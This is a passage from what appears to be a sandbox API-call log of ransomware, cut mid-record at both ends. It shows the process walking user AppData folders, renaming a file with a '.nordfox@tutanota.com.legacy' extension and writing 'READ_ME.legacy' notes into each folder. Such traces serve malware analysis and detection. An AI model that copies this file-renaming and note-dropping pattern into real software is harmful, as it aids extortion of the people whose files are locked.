lpOverlapped=0x0) returned 1 [0181.920] CloseHandle (hObject=0x1b10) returned 1 [0181.920] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\AC\\INetHistory\\BackgroundTransferApi\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\ac\\inethistory\\backgroundtransferapi\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\AC\\INetHistory\\BackgroundTransferApi\\container.dat.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\ac\\inethistory\\backgroundtransferapi\\container.dat.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.922] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\AC\\INetHistory\\BackgroundTransferApiGroup\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5106299e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x5106299e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf8b2f909, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f73230 [0181.922] SetLastError (dwErrCode=0x0) [0181.922] GetLastError () returned 0x0 [0181.922] SetLastError (dwErrCode=0x0) [0181.922] GetLastError () returned 0x0 [0181.922] SetLastError (dwErrCode=0x0) [0181.922] FindNextFileW (in: hFindFile=0x2f73230, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5106299e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x5106299e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf8b2f909, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.923] SetLastError (dwErrCode=0x0) [0181.923] GetLastError () returned 0x0 [0181.923] SetLastError (dwErrCode=0x0) [0181.923] GetLastError () returned 0x0 [0181.923] SetLastError (dwErrCode=0x0) [0181.923] FindNextFileW (in: hFindFile=0x2f73230, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf8b2f909, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf8b2f909, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf8b2f909, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0181.923] SetLastError (dwErrCode=0x0) [0181.923] GetLastError () returned 0x0 [0181.923] SetLastError (dwErrCode=0x0) [0181.923] GetLastError () returned 0x0 [0181.923] SetLastError (dwErrCode=0x0) [0181.923] FindNextFileW (in: hFindFile=0x2f73230, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf8b2f909, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf8b2f909, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf8b2f909, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0181.923] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\LocalState\\Files\\S0\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f13411f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f13411f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf8b2f909, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f73270 [0181.923] SetLastError (dwErrCode=0x12) [0181.923] GetLastError () returned 0x12 [0181.923] SetLastError (dwErrCode=0x12) [0181.923] GetLastError () returned 0x12 [0181.923] SetLastError (dwErrCode=0x12) [0181.924] FindNextFileW (in: hFindFile=0x2f73270, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f13411f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f13411f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf8b2f909, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.924] SetLastError (dwErrCode=0x12) [0181.924] GetLastError () returned 0x12 [0181.924] SetLastError (dwErrCode=0x12) [0181.924] GetLastError () returned 0x12 [0181.924] SetLastError (dwErrCode=0x12) [0181.924] FindNextFileW (in: hFindFile=0x2f73270, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8b2f909, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf8b2f909, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf8b2f909, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0181.924] SetLastError (dwErrCode=0x12) [0181.924] GetLastError () returned 0x12 [0181.924] SetLastError (dwErrCode=0x12) [0181.924] GetLastError () returned 0x12 [0181.924] SetLastError (dwErrCode=0x12) [0181.924] FindNextFileW (in: hFindFile=0x2f73270, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8b2f909, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf8b2f909, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf8b2f909, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0181.924] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\LocalState\\LocalFiles\\923\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f23f1b3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f23f1b3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf8b2f909, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f730f0 [0181.924] SetLastError (dwErrCode=0x12) [0181.924] GetLastError () returned 0x12 [0181.924] SetLastError (dwErrCode=0x12) [0181.925] GetLastError () returned 0x12 [0181.925] SetLastError (dwErrCode=0x12) [0181.925] FindNextFileW (in: hFindFile=0x2f730f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f23f1b3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f23f1b3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf8b2f909, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.925] SetLastError (dwErrCode=0x12) [0181.925] GetLastError () returned 0x12 [0181.925] SetLastError (dwErrCode=0x12) [0181.925] GetLastError () returned 0x12 [0181.925] SetLastError (dwErrCode=0x12) [0181.925] FindNextFileW (in: hFindFile=0x2f730f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8b2f909, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf8b2f909, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf8b2f909, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0181.925] SetLastError (dwErrCode=0x12) [0181.925] GetLastError () returned 0x12 [0181.925] SetLastError (dwErrCode=0x12) [0181.925] GetLastError () returned 0x12 [0181.925] SetLastError (dwErrCode=0x12) [0181.925] FindNextFileW (in: hFindFile=0x2f730f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8b2f909, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf8b2f909, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf8b2f909, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0181.925] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5aa5c7c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe5aa5c7c, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xf9256af6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f732b0 [0181.925] SetLastError (dwErrCode=0x12) [0181.925] GetLastError () returned 0x12 [0181.926] SetLastError (dwErrCode=0x12) [0181.926] GetLastError () returned 0x12 [0181.926] SetLastError (dwErrCode=0x12) [0181.926] FindNextFileW (in: hFindFile=0x2f732b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5aa5c7c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe5aa5c7c, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xf9256af6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.926] SetLastError (dwErrCode=0x12) [0181.926] GetLastError () returned 0x12 [0181.926] SetLastError (dwErrCode=0x12) [0181.926] GetLastError () returned 0x12 [0181.926] SetLastError (dwErrCode=0x12) [0181.926] FindNextFileW (in: hFindFile=0x2f732b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5aa5c7c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x5800ae7c, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x5800ae7c, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="en-US", cAlternateFileName="")) returned 1 [0181.926] SetLastError (dwErrCode=0x12) [0181.926] GetLastError () returned 0x12 [0181.926] SetLastError (dwErrCode=0x12) [0181.926] GetLastError () returned 0x12 [0181.926] SetLastError (dwErrCode=0x12) [0181.927] SetLastError (dwErrCode=0x12) [0181.927] GetLastError () returned 0x12 [0181.927] SetLastError (dwErrCode=0x12) [0181.927] GetLastError () returned 0x12 [0181.927] SetLastError (dwErrCode=0x12) [0181.927] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b20 [0181.950] WriteFile (in: hFile=0x1b20, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0181.951] CloseHandle (hObject=0x1b20) returned 1 [0181.951] FindNextFileW (in: hFindFile=0x2f732b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf92308f9, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf92308f9, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0181.951] SetLastError (dwErrCode=0x0) [0181.951] GetLastError () returned 0x0 [0181.951] SetLastError (dwErrCode=0x0) [0181.951] GetLastError () returned 0x0 [0181.951] SetLastError (dwErrCode=0x0) [0181.951] FindNextFileW (in: hFindFile=0x2f732b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf92308f9, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf92308f9, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0181.951] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\all\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x525e22af, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x525e22af, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f73130 [0181.951] SetLastError (dwErrCode=0x12) [0181.951] GetLastError () returned 0x12 [0181.951] SetLastError (dwErrCode=0x12) [0181.951] GetLastError () returned 0x12 [0181.952] SetLastError (dwErrCode=0x12) [0181.952] FindNextFileW (in: hFindFile=0x2f73130, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x525e22af, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x525e22af, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.952] SetLastError (dwErrCode=0x12) [0181.952] GetLastError () returned 0x12 [0181.952] SetLastError (dwErrCode=0x12) [0181.952] GetLastError () returned 0x12 [0181.952] SetLastError (dwErrCode=0x12) [0181.952] FindNextFileW (in: hFindFile=0x2f73130, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf927cc62, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf927cc62, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0181.952] SetLastError (dwErrCode=0x12) [0181.952] GetLastError () returned 0x12 [0181.952] SetLastError (dwErrCode=0x12) [0181.952] SetLastError (dwErrCode=0x12) [0181.952] FindNextFileW (in: hFindFile=0x2f73130, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf927cc62, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf927cc62, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0181.952] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\de_CH\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59d60336, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x59d60336, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f73670 [0181.952] SetLastError (dwErrCode=0x12) [0181.952] GetLastError () returned 0x12 [0181.952] SetLastError (dwErrCode=0x12) [0181.953] SetLastError (dwErrCode=0x12) [0181.953] FindNextFileW (in: hFindFile=0x2f73670, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x59d60336, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x59d60336, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.953] SetLastError (dwErrCode=0x12) [0181.953] GetLastError () returned 0x12 [0181.953] SetLastError (dwErrCode=0x12) [0181.953] SetLastError (dwErrCode=0x12) [0181.953] FindNextFileW (in: hFindFile=0x2f73670, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf927cc62, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf927cc62, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0181.953] SetLastError (dwErrCode=0x12) [0181.953] GetLastError () returned 0x12 [0181.953] SetLastError (dwErrCode=0x12) [0181.953] SetLastError (dwErrCode=0x12) [0181.953] FindNextFileW (in: hFindFile=0x2f73670, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf927cc62, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf927cc62, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0181.953] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\de_DE\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a224c46, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5a224c46, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f731f0 [0181.953] SetLastError (dwErrCode=0x12) [0181.953] GetLastError () returned 0x12 [0181.953] SetLastError (dwErrCode=0x12) [0181.953] SetLastError (dwErrCode=0x12) [0181.954] FindNextFileW (in: hFindFile=0x2f731f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a224c46, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5a224c46, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.954] SetLastError (dwErrCode=0x12) [0181.954] GetLastError () returned 0x12 [0181.954] SetLastError (dwErrCode=0x12) [0181.954] SetLastError (dwErrCode=0x12) [0181.954] FindNextFileW (in: hFindFile=0x2f731f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf927cc62, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf927cc62, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0181.954] SetLastError (dwErrCode=0x12) [0181.954] GetLastError () returned 0x12 [0181.954] SetLastError (dwErrCode=0x12) [0181.954] SetLastError (dwErrCode=0x12) [0181.954] FindNextFileW (in: hFindFile=0x2f731f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf927cc62, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf927cc62, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0181.954] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_CA\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ad2ba77, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ad2ba77, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f733f0 [0181.954] SetLastError (dwErrCode=0x12) [0181.954] GetLastError () returned 0x12 [0181.954] SetLastError (dwErrCode=0x12) [0181.954] SetLastError (dwErrCode=0x12) [0181.954] FindNextFileW (in: hFindFile=0x2f733f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5ad2ba77, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5ad2ba77, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.955] SetLastError (dwErrCode=0x12) [0181.955] GetLastError () returned 0x12 [0181.955] SetLastError (dwErrCode=0x12) [0181.955] SetLastError (dwErrCode=0x12) [0181.955] FindNextFileW (in: hFindFile=0x2f733f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf927cc62, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf927cc62, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0181.955] SetLastError (dwErrCode=0x12) [0181.955] GetLastError () returned 0x12 [0181.955] SetLastError (dwErrCode=0x12) [0181.955] SetLastError (dwErrCode=0x12) [0181.955] FindNextFileW (in: hFindFile=0x2f733f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf927cc62, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf927cc62, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf927cc62, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0181.955] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\en_GB\\*", lpFindFileData=0x2e1fb24 | out: 